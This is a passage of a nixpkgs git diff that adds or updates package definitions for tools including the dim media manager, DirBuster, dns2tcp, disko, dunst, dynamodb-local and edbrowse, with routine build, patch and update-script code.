"sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==" + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/yargs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/pkgs/by-name/di/dim/package.nix b/pkgs/by-name/di/dim/package.nix new file mode 100644 index 0000000000000..9b59329e766ac --- /dev/null +++ b/pkgs/by-name/di/dim/package.nix @@ -0,0 +1,100 @@ +{ + lib, + stdenv, + rustPlatform, + fetchFromGitHub, + buildNpmPackage, + makeWrapper, + ffmpeg_5, + git, + pkg-config, + sqlite, + libvaSupport ? stdenv.hostPlatform.isLinux, + libva, +}: +rustPlatform.buildRustPackage rec { + pname = "dim"; + version = "0-unstable-2023-12-29"; + src = fetchFromGitHub { + owner = "Dusk-Labs"; + repo = "dim"; + rev = "3ccb4ab05fc1d7dbd4ebbba9ff2de0ecc9139b27"; + hash = "sha256-1mgbrDnIkIdWy78uj4EjjgwBQxw/rIS1LCFNscXXPbk="; + }; + + frontend = buildNpmPackage { + pname = "dim-ui"; + inherit version; + src = "${src}/ui"; + + postPatch = '' + ln -s ${./package-lock.json} package-lock.json + ''; + + npmDepsHash = "sha256-6oSm3H6RItHOrBIvP6uvR7sBboBRWFuP3VwU38GMfgQ="; + + installPhase = '' + runHook preInstall + cp -r build $out + runHook postInstall + ''; + }; + + patches = [ + # Upstream uses a 'ffpath' function to look for config directory and + # (ffmpeg) binaries in the same directory as the binary. Patch it to use + # the working dir and PATH instead. + ./relative-paths.diff + ]; + + postConfigure = '' + ln -ns $frontend ui/build + ''; + + nativeBuildInputs = [ + makeWrapper + pkg-config + git + ]; + + buildInputs = [ + sqlite + ] ++ lib.optional libvaSupport libva; + + buildFeatures = lib.optional libvaSupport "vaapi"; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "mp4-0.8.2" = "sha256-OtVRtOTU/yoxxoRukpUghpfiEgkKoJZNflMQ3L26Cno="; + "nightfall-0.3.12-rc4" = "sha256-DtSXdIDg7XBgzEYzHdzjrHdM1ESKTQdgByeerH5TWwU="; + }; + }; + + checkFlags = [ + # Requires network + "--skip=tmdb::tests::johhny_test_seasons" + "--skip=tmdb::tests::once_upon_get_year" + "--skip=tmdb::tests::tmdb_get_cast" + "--skip=tmdb::tests::tmdb_get_details" + "--skip=tmdb::tests::tmdb_get_episodes" + "--skip=tmdb::tests::tmdb_get_seasons" + "--skip=tmdb::tests::tmdb_search" + # Broken doctest + "--skip=dim-utils/src/lib.rs" + ]; + + postInstall = '' + wrapProgram $out/bin/dim \ + --prefix PATH : ${lib.makeBinPath [ffmpeg_5]} + ''; + + meta = { + homepage = "https://github.com/Dusk-Labs/dim"; + description = "Self-hosted media manager"; + license = lib.licenses.agpl3Only; + mainProgram = "dim"; + maintainers = [ lib.maintainers.misterio77 ]; + platforms = lib.platforms.unix; + }; +} diff --git a/pkgs/by-name/di/dim/relative-paths.diff b/pkgs/by-name/di/dim/relative-paths.diff new file mode 100644 index 0000000000000..e5f27c7f1715a --- /dev/null +++ b/pkgs/by-name/di/dim/relative-paths.diff @@ -0,0 +1,173 @@ +diff --git a/dim-core/src/routes/settings.rs b/dim-core/src/routes/settings.rs +index f577eaf6..67da9448 100644 +--- a/dim-core/src/routes/settings.rs ++++ b/dim-core/src/routes/settings.rs +@@ -1,5 +1,3 @@ +-use crate::utils::ffpath; +- + use std::error::Error; + use std::fs::File; + use std::fs::OpenOptions; +@@ -49,7 +47,7 @@ impl Default for GlobalSettings { + } + } + }, +- metadata_dir: ffpath("config/metadata"), ++ metadata_dir: "config/metadata".into(), + quiet_boot: false, + disable_auth: false, + verbose: false, +@@ -69,7 +67,7 @@ pub fn get_global_settings() -> GlobalSettings { + } + + pub fn init_global_settings(path: Option<String>) -> Result<(), Box<dyn Error>> { +- let path = path.unwrap_or(ffpath("config/config.toml")); ++ let path = path.unwrap_or("config/config.toml".into()); + let _ = SETTINGS_PATH.set(path.clone()); + let mut content = String::new(); + +@@ -94,7 +92,7 @@ pub fn set_global_settings(settings: GlobalSettings) -> Result<(), Box<dyn Error + let path = SETTINGS_PATH + .get() + .cloned() +- .unwrap_or(ffpath("config/config.toml")); ++ .unwrap_or("config/config.toml".into()); + + { + let mut lock = GLOBAL_SETTINGS.lock().unwrap(); +@@ -107,4 +105,4 @@ pub fn set_global_settings(settings: GlobalSettings) -> Result<(), Box<dyn Error + .unwrap(); + + Ok(()) +-} +\ No newline at end of file ++} +diff --git a/dim-core/src/streaming/mod.rs b/dim-core/src/streaming/mod.rs +index a9312041..8ad12fe4 100644 +--- a/dim-core/src/streaming/mod.rs ++++ b/dim-core/src/streaming/mod.rs +@@ -1,27 +1,13 @@ + pub mod ffprobe; + +-use cfg_if::cfg_if; +- + use std::collections::HashMap; + use std::sync::Arc; + use std::sync::RwLock; + +-use crate::utils::ffpath; +- + lazy_static::lazy_static! { + pub static ref STREAMING_SESSION: Arc<RwLock<HashMap<String, HashMap<String, String>>>> = Arc::new(RwLock::new(HashMap::new())); +- pub static ref FFMPEG_BIN: &'static str = Box::leak(ffpath("utils/ffmpeg").into_boxed_str()); +- pub static ref FFPROBE_BIN: &'static str = { +- cfg_if! { +- if #[cfg(test)] { +- "/usr/bin/ffprobe" +- } else if #[cfg(bench)] { +- "/usr/bin/ffprobe" +- } else { +- Box::leak(ffpath("utils/ffprobe").into_boxed_str()) +- } +- } +- }; ++ pub static ref FFMPEG_BIN: &'static str = "ffmpeg"; ++ pub static ref FFPROBE_BIN: &'static str = "ffprobe"; + } + + use std::process::Command; +diff --git a/dim-database/src/lib.rs b/dim-database/src/lib.rs +index de99a5e4..ac9731be 100644 +--- a/dim-database/src/lib.rs ++++ b/dim-database/src/lib.rs +@@ -1,8 +1,6 @@ + // FIXME: We have a shim in dim/utils but we cant depend on dim because itd be a circular dep. + #![deny(warnings)] + +-use crate::utils::ffpath; +- + use std::str::FromStr; + use std::sync::atomic::AtomicBool; + use std::sync::atomic::Ordering; +@@ -157,13 +155,13 @@ pub async fn get_conn_logged() -> sqlx::Result<DbConnection> { + async fn internal_get_conn() -> sqlx::Result<DbConnection> { + let rw_only = sqlx::sqlite::SqliteConnectOptions::new() + .create_if_missing(true) +- .filename(ffpath("config/dim.db")) ++ .filename("config/dim.db") + .connect() + .await?; + + let rd_only = sqlx::pool::PoolOptions::new() + .connect_with( +- sqlx::sqlite::SqliteConnectOptions::from_str(ffpath("config/dim.db"))? ++ sqlx::sqlite::SqliteConnectOptions::from_str("config/dim.db")? + .read_only(true) + .synchronous(sqlx::sqlite::SqliteSynchronous::Normal) + .create_if_missing(true), +diff --git a/dim-database/src/utils.rs b/dim-database/src/utils.rs +index 35e25c6c..e1e56e01 100644 +--- a/dim-database/src/utils.rs ++++ b/dim-database/src/utils.rs +@@ -16,17 +16,3 @@ macro_rules! opt_update { + } + } + } +- +-#[cfg(not(debug_assertions))] +-pub fn ffpath(bin: impl AsRef<str>) -> &'static str { +- let mut path = std::env::current_exe().expect("Failed to grab path to the `dim` binary."); +- path.pop(); // remove the dim bin to get the dir of `dim` +- path.push(bin.as_ref()); +- +- Box::leak(path.to_string_lossy().to_string().into_boxed_str()) +-} +- +-#[cfg(debug_assertions)] +-pub fn ffpath(bin: impl AsRef<str>) -> &'static str { +- Box::leak(bin.as_ref().to_string().into_boxed_str()) +-} +diff --git a/dim-utils/src/lib.rs b/dim-utils/src/lib.rs +index 816bfe82..6dddc9aa 100644 +--- a/dim-utils/src/lib.rs ++++ b/dim-utils/src/lib.rs +@@ -400,20 +400,6 @@ pub fn secs_to_pretty(t: u64) -> String { + tag + } + +-#[cfg(not(debug_assertions))] +-pub fn ffpath(bin: impl AsRef<str>) -> String { +- let mut path = std::env::current_exe().expect("Failed to grab path to the `dim` binary."); +- path.pop(); // remove the dim bin to get the dir of `dim` +- path.push(bin.as_ref()); +- +- path.to_string_lossy().to_string() +-} +- +-#[cfg(debug_assertions)] +-pub fn ffpath(bin: impl AsRef<str>) -> String { +- bin.as_ref().to_string() +-} +- + pub fn codec_pretty(codec: &str) -> String { + match codec { + "h264" => "H.264".into(), +diff --git a/dim/src/main.rs b/dim/src/main.rs +index 867d64de..e683b441 100644 +--- a/dim/src/main.rs ++++ b/dim/src/main.rs +@@ -18,12 +18,12 @@ struct Args { + + fn main() { + let args = Args::parse(); +- let _ = std::fs::create_dir_all(dim::utils::ffpath("config")); ++ let _ = std::fs::create_dir_all("config"); + + let config_path = args + .config + .map(|x| x.to_string_lossy().to_string()) +- .unwrap_or(dim::utils::ffpath("config/config.toml")); ++ .unwrap_or("config/config.toml".into()); + + // initialize global settings. + dim::init_global_settings(Some(config_path)).expect("Failed to initialize global settings."); diff --git a/pkgs/by-name/di/dirbuster/package.nix b/pkgs/by-name/di/dirbuster/package.nix new file mode 100644 index 0000000000000..59b41efab6ea7 --- /dev/null +++ b/pkgs/by-name/di/dirbuster/package.nix @@ -0,0 +1,72 @@ +{ lib +, stdenv +, fetchurl +, makeBinaryWrapper +, copyDesktopItems +, makeDesktopItem +, unzip +, jdk8 +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "dirbuster"; + version = "1.0-RC1"; + + src = fetchurl { + url = "mirror://sourceforge/dirbuster/DirBuster%20(jar%20%2B%20lists)/${finalAttrs.version}/DirBuster-${finalAttrs.version}.tar.bz2"; + hash = "sha256-UoEt1NkaLsKux3lr+AB+TZCCshQs2hIo63igT39V68E="; + }; + + desktopItems = [ + (makeDesktopItem { + name = "dirbuster"; + desktopName = "OWASP DirBuster"; + exec = "dirbuster"; + icon = "dirbuster"; + comment = "Web Application Brute Forcing"; + categories = [ "Network" ]; + }) + ]; + + nativeBuildInputs = [ + makeBinaryWrapper + copyDesktopItems + unzip + ]; + + installPhase = '' + runHook preInstall + + export JAR=$out/share/java/dirbuster.jar + install -Dm444 DirBuster-${finalAttrs.version}.jar $JAR + makeWrapper ${jdk8}/bin/java $out/bin/dirbuster \ + --add-flags "-Duser.dir=$out/share/dirbuster/" \ + --add-flags "-Xmx256M" \ + --add-flags "-jar $JAR" + + cp -r lib/ $out/share/java/lib/ + + # Copy wordlists + mkdir -p $out/share/dirbuster + for f in *.txt; do + cp $f $out/share/dirbuster/ + done + + # Extract embedded desktop icon + mkdir -p $out/share/pixmaps + unzip $JAR + strings com/sittinglittleduck/DirBuster/ImageCreator.class | grep iVBORw0KG | base64 -d > $out/share/pixmaps/dirbuster.png + + runHook postInstall + ''; + + meta = { + description = "Brute force directories and files names on web/application servers"; + homepage = "https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project"; + license = lib.licenses.lgpl21Only; + mainProgram = "dirbuster"; + maintainers = with lib.maintainers; [ emilytrau ]; + platforms = lib.platforms.all; + sourceProvenance = with lib.sourceTypes; [ binaryBytecode ]; + }; +}) diff --git a/pkgs/by-name/di/disko/package.nix b/pkgs/by-name/di/disko/package.nix index 0ac7101283eba..8dd1b1313f9a8 100644 --- a/pkgs/by-name/di/disko/package.nix +++ b/pkgs/by-name/di/disko/package.nix @@ -4,29 +4,38 @@ , fetchFromGitHub , bash , nix +, coreutils }: stdenvNoCC.mkDerivation (finalAttrs: { name = "disko"; - version = "1.3.0"; + version = "1.4.0"; src = fetchFromGitHub { owner = "nix-community"; repo = "disko"; rev = "v${finalAttrs.version}"; - hash = "sha256-wOIJwAsnZhM0NlFRwYJRgO4Lldh8j9viyzwQXtrbNtM="; + hash = "sha256-71S/64RbyADT6FUVJq4WLiNbmcxFvgMsSihf/C2Hgno="; }; nativeBuildInputs = [ makeWrapper ]; buildInputs = [ bash ]; installPhase = '' + runHook preInstall mkdir -p $out/bin $out/share/disko - cp -r cli.nix default.nix disk-deactivate lib $out/share/disko - sed -e "s|libexec_dir=\".*\"|libexec_dir=\"$out/share/disko\"|" disko > $out/bin/disko - chmod 755 $out/bin/disko - wrapProgram $out/bin/disko --prefix PATH : ${lib.makeBinPath [ nix ]} + cp -r install-cli.nix cli.nix default.nix disk-deactivate lib $out/share/disko + + for i in disko disko-install; do + sed -e "s|libexec_dir=\".*\"|libexec_dir=\"$out/share/disko\"|" "$i" > "$out/bin/$i" + chmod 755 "$out/bin/$i" + wrapProgram "$out/bin/$i" --prefix PATH : ${lib.makeBinPath [ nix coreutils ]} + done + runHook postInstall ''; doInstallCheck = true; installCheckPhase = '' + runHook preInstallCheck $out/bin/disko --help + $out/bin/disko-install --help + runHook postInstallCheck ''; meta = { homepage = "https://github.com/nix-community/disko"; diff --git a/pkgs/by-name/dn/dns2tcp/package.nix b/pkgs/by-name/dn/dns2tcp/package.nix new file mode 100644 index 0000000000000..2cbd2149d0e5c --- /dev/null +++ b/pkgs/by-name/dn/dns2tcp/package.nix @@ -0,0 +1,40 @@ +{ lib +, stdenv +, fetchFromGitHub +, fetchpatch +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "dns2tcp"; + version = "0.5.2"; + + src = fetchFromGitHub { + owner = "alex-sector"; + repo = "dns2tcp"; + rev = "v${finalAttrs.version}"; + hash = "sha256-oBKkuQGVQNVzx8pds3qkZkZpwg8b44g1ovonrq2nqKw="; + }; + + patches = [ + # fixes gcc-10 build issues. + (fetchpatch { + url = "https://salsa.debian.org/debian/dns2tcp/-/raw/86b518ce169e88488d71c6b0270d4fc814dc1fbc/debian/patches/01_fix_gcc10_issues.patch."; + hash = "sha256-IGpUIajkhruou7meZZJEJ5nnsQ/hVflyPfAuh3J0otI="; + }) + # fixes some spelling errors. + (fetchpatch { + url = "https://salsa.debian.org/debian/dns2tcp/-/raw/13481f37b7184e52b83cc0c41edfc6b20a5debed/debian/patches/fix_spelling_errors.patch"; + hash = "sha256-b65olctlwLOY2GnVb7i7axGFiR0iLoTYstXdtVkU3vQ="; + }) + ]; + + + meta = with lib; { + description = "A tool for relaying TCP connections over DNS"; + homepage = "https://github.com/alex-sector/dns2tcp"; + license = licenses.gpl2Plus; + mainProgram = "dns2tcpc"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/by-name/do/docfd/package.nix b/pkgs/by-name/do/docfd/package.nix index 37df7724c26a1..41d4f3cbf5430 100644 --- a/pkgs/by-name/do/docfd/package.nix +++ b/pkgs/by-name/do/docfd/package.nix @@ -2,7 +2,7 @@ ocamlPackages.buildDunePackage rec { pname = "docfd"; - version = "2.1.0"; + version = "2.2.0"; minimalOCamlVersion = "5.1"; @@ -10,7 +10,7 @@ ocamlPackages.buildDunePackage rec { owner = "darrenldl"; repo = "docfd"; rev = version; - hash = "sha256-1DobGm6nI14951KNKEE0D3AF1TFsWQUEhe4L1PdWBDw="; + hash = "sha256-v6V9+/Ra19Xy6nCLe/ODJ1uVBwNkQO4lKcxcr2pmxIY="; }; nativeBuildInputs = [ python3 dune_3 makeWrapper ]; diff --git a/pkgs/by-name/do/door-knocker/package.nix b/pkgs/by-name/do/door-knocker/package.nix index d1a5b214ee268..98635e0abf96c 100644 --- a/pkgs/by-name/do/door-knocker/package.nix +++ b/pkgs/by-name/do/door-knocker/package.nix @@ -14,14 +14,14 @@ stdenv.mkDerivation (finalAttrs: { pname = "door-knocker"; - version = "0.4.3"; + version = "0.4.4"; src = fetchFromGitea { domain = "codeberg.org"; owner = "tytan652"; repo = "door-knocker"; rev = finalAttrs.version; - hash = "sha256-/C5dNoEAKf0kok+L6/GaA02yrc8e1PUwK9HYaOwjqIM="; + hash = "sha256-pC/Fv+GzHw0PTzJoDAUK/EzVVWXha2cflAqiznM9ZYM="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/do/dorion/package.nix b/pkgs/by-name/do/dorion/package.nix index 450a4644ac09b..9e77085ac9e26 100644 --- a/pkgs/by-name/do/dorion/package.nix +++ b/pkgs/by-name/do/dorion/package.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation (finalAttrs: { name = "dorion"; - version = "4.1.2"; + version = "4.1.3"; src = fetchurl { url = "https://github.com/SpikeHD/Dorion/releases/download/v${finalAttrs.version }/Dorion_${finalAttrs.version}_amd64.deb"; - hash = "sha256-hpZF83QPRcRqI0wCnIu6CsNBe8b9H0KrDyp6CDYkOfQ="; + hash = "sha256-O6KXOouutrNla5dkHRQeT0kp8DQO9MLoJrIMuqam/60="; }; unpackCmd = '' diff --git a/pkgs/by-name/do/dotslash/package.nix b/pkgs/by-name/do/dotslash/package.nix new file mode 100644 index 0000000000000..788d6ea17aa0b --- /dev/null +++ b/pkgs/by-name/do/dotslash/package.nix @@ -0,0 +1,31 @@ +{ lib, rustPlatform, fetchCrate }: + +rustPlatform.buildRustPackage rec { + pname = "dotslash"; + version = "0.2.0"; + + src = fetchCrate { + inherit pname version; + hash = "sha256-4y4GH+YR6QpZj7gYycJcm7K5tE7dCvYm3UQuCKF3cfQ="; + }; + + cargoHash = "sha256-L/ahRDLVOWsg7mHWlLYqP/+6zS9JwXGQXn66UsIIARk="; + doCheck = false; # http tests + + meta = with lib; { + homepage = "https://dotslash-cli.com"; + description = "Simplified multi-platform executable deployment"; + longDescription = '' + DotSlash is a command-line tool that is designed to facilitate fetching an + executable, verifying it, and then running it. It maintains a local cache + of fetched executables so that subsequent invocations are fast. + + DotSlash helps keeps heavyweight binaries out of your repo while ensuring + your developers seamlessly get the tools they need, ensuring consistent + builds across platforms. + ''; + license = with licenses; [ asl20 /* or */ mit ]; + mainProgram = "dotslash"; + maintainers = with maintainers; [ thoughtpolice ]; + }; +} diff --git a/pkgs/by-name/do/doublecmd/package.nix b/pkgs/by-name/do/doublecmd/package.nix index f245a68f26ddc..36f5d82e3267b 100644 --- a/pkgs/by-name/do/doublecmd/package.nix +++ b/pkgs/by-name/do/doublecmd/package.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "doublecmd"; - version = "1.1.9"; + version = "1.1.10"; src = fetchFromGitHub { owner = "doublecmd"; repo = "doublecmd"; rev = "v${finalAttrs.version}"; - hash = "sha256-NgCN72yACSzsnQdDxBM4QQCE8m5+FT31Ia51yEiXBfY="; + hash = "sha256-vRB4qUws3kqCf7gp8Lzt8e9p68FaAfQyFHj4oJS9QtI="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/dunst/default.nix b/pkgs/by-name/du/dunst/package.nix index 47dbaa62c3c10..f89bcd196ab3d 100644 --- a/pkgs/applications/misc/dunst/default.nix +++ b/pkgs/by-name/du/dunst/package.nix @@ -6,15 +6,15 @@ , testers, dunst }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "dunst"; - version = "1.9.2"; + version = "1.10.0"; src = fetchFromGitHub { owner = "dunst-project"; repo = "dunst"; - rev = "v${version}"; - sha256 = "sha256-8IH0WTPSaAundhYh4l7gQR66nyT38H4DstRTm+Xh+Z8="; + rev = "v${finalAttrs.version}"; + hash = "sha256-6smFUdWqOuYB0btsDgHtIpDBfHhkpIQfjyZ8wtRg1bQ="; }; nativeBuildInputs = [ perl pkg-config which systemd makeWrapper ]; @@ -59,4 +59,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ domenkozar ]; mainProgram = "dunst"; }; -} +}) diff --git a/pkgs/by-name/dy/dynamodb-local/package.nix b/pkgs/by-name/dy/dynamodb-local/package.nix index 2c9b2c0410914..59fb07457824b 100644 --- a/pkgs/by-name/dy/dynamodb-local/package.nix +++ b/pkgs/by-name/dy/dynamodb-local/package.nix @@ -4,6 +4,13 @@ , jdk_headless , jre_minimal , makeBinaryWrapper +, curl +, jq +, yq +, dynamodb-local +, testers +, common-updater-scripts +, writeShellScript }: let jre = jre_minimal.override { @@ -18,11 +25,11 @@ let in stdenvNoCC.mkDerivation (finalAttrs: { pname = "dynamodb-local"; - version = "2023-12-14"; + version = "2.2.1"; src = fetchurl { - url = "https://d1ni2b6xgvw0s0.cloudfront.net/v2.x/dynamodb_local_${finalAttrs.version}.tar.gz"; - hash = "sha256-F9xTcLNAVFVbH7l0FlMuVNoLBrJS/UcHKXTkJh1n40w="; + url = "https://d1ni2b6xgvw0s0.cloudfront.net/v2.x/dynamodb_local_2024-01-04.tar.gz"; + hash = "sha256-CbZ9Z9A70JoHu4G6It+7WycaEtzuwjVJ2YrOK+37zYA="; }; sourceRoot = "."; @@ -41,6 +48,29 @@ stdenvNoCC.mkDerivation (finalAttrs: { runHook postInstall ''; + passthru = { + tests.version = testers.testVersion { + package = dynamodb-local; + }; + updateScript = writeShellScript "update-dynamodb-local" '' + set -o errexit + export PATH="${lib.makeBinPath [ curl jq yq common-updater-scripts ]}:$PATH" + + NEW_VERSION=$(curl -s https://repo1.maven.org/maven2/com/amazonaws/DynamoDBLocal/maven-metadata.xml | xq -r '.metadata.versioning.latest') + NEW_VERSION_DATE=$(curl -s https://repo1.maven.org/maven2/com/amazonaws/DynamoDBLocal/maven-metadata.xml | xq -r '.metadata.versioning.lastUpdated | "\(.[:4])-\(.[4:6])-\(.[6:8])"') + + if [[ "${finalAttrs.version}" = "$NEW_VERSION" ]]; then + echo "The new version same as the old version." + exit 0 + fi + + DOWNLOAD_URL="https://d1ni2b6xgvw0s0.cloudfront.net/v2.x/dynamodb_local_$NEW_VERSION_DATE.tar.gz" + NIX_HASH=$(nix hash to-sri sha256:$(nix-prefetch-url $DOWNLOAD_URL)) + + update-source-version "dynamodb-local" "$NEW_VERSION" "$NIX_HASH" "$DOWNLOAD_URL" + ''; + }; + meta = with lib; { description = "DynamoDB Local is a small client-side database and server that mimics the DynamoDB service."; homepage = "https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBLocal.html"; diff --git a/pkgs/applications/editors/edbrowse/0001-small-fixes.patch b/pkgs/by-name/ed/edbrowse/0001-small-fixes.patch index 433b884cc5deb..433b884cc5deb 100644 --- a/pkgs/applications/editors/edbrowse/0001-small-fixes.patch +++ b/pkgs/by-name/ed/edbrowse/0001-small-fixes.patch diff --git a/pkgs/applications/editors/edbrowse/default.nix b/pkgs/by-name/ed/edbrowse/package.nix index 0f51e016c0ea7..154095e57cc8c 100644 --- a/pkgs/applications/editors/edbrowse/default.nix +++ b/pkgs/by-name/ed/edbrowse/package.nix @@ -1,8 +1,7 @@ { lib -, stdenv -, fetchFromGitHub , curl , duktape +, fetchFromGitHub , html-tidy , openssl , pcre @@ -10,24 +9,45 @@ , pkg-config , quickjs , readline +, stdenv +, unixODBC , which +, withODBC ? true }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "edbrowse"; version = "3.8.0"; src = fetchFromGitHub { owner = "CMB"; - repo = pname; - rev = "v${version}"; + repo = "edbrowse"; + rev = "v${finalAttrs.version}"; hash = "sha256-ZXxzQBAmu7kM3sjqg/rDLBXNucO8sFRFKXV8UxQVQZU="; }; + sourceRoot = "${finalAttrs.src.name}/src"; + + patches = [ + # Fixes some small annoyances on src/makefile + ./0001-small-fixes.patch + ]; + + patchFlags = [ + "-p2" + ]; + + postPatch = '' + for file in $(find ./tools/ -type f ! -name '*.c'); do + patchShebangs $file + done + ''; + nativeBuildInputs = [ pkg-config which ]; + buildInputs = [ curl duktape @@ -37,27 +57,23 @@ stdenv.mkDerivation rec { perl quickjs readline + ] ++ lib.optionals withODBC [ + unixODBC ]; - patches = [ - # Fixes some small annoyances on src/makefile - ./0001-small-fixes.patch - ]; - - postPatch = '' - substituteInPlace src/makefile --replace\ - '-L/usr/local/lib/quickjs' '-L${quickjs}/lib/quickjs' - for i in $(find ./tools/ -type f ! -name '*.c'); do - patchShebangs $i - done - ''; - makeFlags = [ - "-C" "src" "PREFIX=${placeholder "out"}" ]; - meta = with lib; { + preBuild = '' + buildFlagsArray+=( + BUILD_EDBR_ODBC=${if withODBC then "on" else "off"} + EBDEMIN=on + QUICKJS_LDFLAGS="-L${quickjs}/lib/quickjs -lquickjs -ldl -latomic" + ) + ''; + + meta = { homepage = "https://edbrowse.org/"; description = "Command Line Editor Browser"; longDescription = '' @@ -71,10 +87,14 @@ stdenv.mkDerivation rec { send email, with no human intervention whatsoever. edbrowse can also tap into databases through odbc. It was primarily written by Karl Dahlke. ''; - license = licenses.gpl1Plus; - maintainers = with maintainers; [ schmitthenner vrthra equirosa ]; - platforms = platforms.linux; + license = with lib.licenses; [ gpl1Plus ]; mainProgram = "edbrowse"; + maintainers = with lib.maintainers; [ + schmitthenner + equirosa + AndersonTorres + ]; + platforms = lib.platforms.linux; }; -} +}) # TODO: send the patch to upstream developers diff --git a/pkgs/by-name/ei/eigenlayer/package.nix b/pkgs/by-name/ei/eigenlayer/package.nix index e0db71808db64..e6af77a07f70f 100644 --- a/pkgs/by-name/ei/eigenlayer/package.nix +++ b/pkgs/by-name/ei/eigenlayer/package.nix @@ -6,13 +6,13 @@ }: buildGoModule rec { pname = 